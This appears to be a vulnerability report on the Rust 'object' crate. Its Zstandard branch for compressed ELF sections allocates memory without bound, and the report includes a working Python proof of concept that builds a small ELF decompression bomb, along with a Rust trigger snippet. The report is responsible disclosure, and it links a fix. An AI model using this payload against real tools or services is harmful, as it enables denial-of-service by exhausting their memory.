When reading a compressed section, CompressedData::decompress reserves try_reserve_exact(size) for the header-declared uncompressed size. The Zlib branch stays within that reservation (flate2's decompress_vec errors rather than growing), but the Zstandard branch calls decoder.read_to_end(&mut decompressed), which grows the buffer to the actual decoded length, ignoring the reservation — the size != decompressed.len() check only runs afterwards.
A crafted ELF SHF_COMPRESSED section that declares a tiny ch_size (so the reservation succeeds) but carries a zstd stream expanding to gigabytes therefore drives an unbounded allocation via the default Section::uncompressed_data() path (default compression feature), before the size check rejects it.
Reproduced on 0.39.1 and current main. A/B on the same ELF, only ch_type changed (both declare ch_size = 64, both expand to 200 MB):
ch_type |
peak RSS |
ELFCOMPRESS_ZLIB |
~3 MB (bounded by the reservation, errors) |
ELFCOMPRESS_ZSTD |
~386 MB (grows to the full decoded size, then errors) |
An RLE-maximized frame reaches ~40,000× amplification (a sub-MB section → multi-GB → hard OOM).
PoC (a 6.7 KB ELF)
import struct, sys, subprocess
mb = 200
raw = b"\x00" * (mb << 20)
try:
import zstandard as zstd; frame = zstd.ZstdCompressor(level=1).compress(raw)
except Exception:
frame = subprocess.run(["zstd", "-1", "-c"], input=raw, capture_output=True).stdout
chdr = struct.pack("<IIQQ", 2, 0, 64, 1) # ch_type=ELFCOMPRESS_ZSTD, ch_size=64 (the lie)
secdata = chdr + frame
shstr = b"\x00.z\x00.shstrtab\x00"
off_sec = 64; off_sh = off_sec + len(secdata); off_shdrs = off_sh + len(shstr)
def shdr(name, typ, flags, off, size, align=1):
return struct.pack("<IIQQQQIIQQ", name, typ, flags, 0, off, size, 0, 0, align, 0)
shdrs = shdr(0,0,0,0,0) \
+ shdr(1, 1, 0x2 | 0x800, off_sec, len(secdata)) \
+ shdr(shstr.index(b".shstrtab"), 3, 0, off_sh, len(shstr))
ehdr = b"\x7fELF" + bytes([2,1,1,0]) + b"\x00"*8 \
+ struct.pack("<HHIQQQIHHHHHH", 1, 62, 1, 0, 0, off_shdrs, 0, 64, 0, 0, 64, 3, 2)
open(sys.argv[1] if len(sys.argv) > 1 else "poc.elf", "wb").write(ehdr + secdata + shstr + shdrs)
Then any consumer that walks sections and calls uncompressed_data() (e.g. reading section contents) allocates the full decoded size:
let file = object::File::parse(&*data)?;
for s in file.sections() { let _ = s.uncompressed_data(); } // allocates ~386 MB from a 6.7 KB file
Discovered by the rust-in-peace security pipeline; a fix is in the linked PR.
When reading a compressed section,
CompressedData::decompressreservestry_reserve_exact(size)for the header-declared uncompressed size. The Zlib branch stays within that reservation (flate2'sdecompress_vecerrors rather than growing), but the Zstandard branch callsdecoder.read_to_end(&mut decompressed), which grows the buffer to the actual decoded length, ignoring the reservation — thesize != decompressed.len()check only runs afterwards.A crafted ELF
SHF_COMPRESSEDsection that declares a tinych_size(so the reservation succeeds) but carries a zstd stream expanding to gigabytes therefore drives an unbounded allocation via the defaultSection::uncompressed_data()path (defaultcompressionfeature), before the size check rejects it.Reproduced on 0.39.1 and current
main. A/B on the same ELF, onlych_typechanged (both declarech_size = 64, both expand to 200 MB):ch_typeELFCOMPRESS_ZLIBELFCOMPRESS_ZSTDAn RLE-maximized frame reaches ~40,000× amplification (a sub-MB section → multi-GB → hard OOM).
PoC (a 6.7 KB ELF)
Then any consumer that walks sections and calls
uncompressed_data()(e.g. reading section contents) allocates the full decoded size:Discovered by the rust-in-peace security pipeline; a fix is in the linked PR.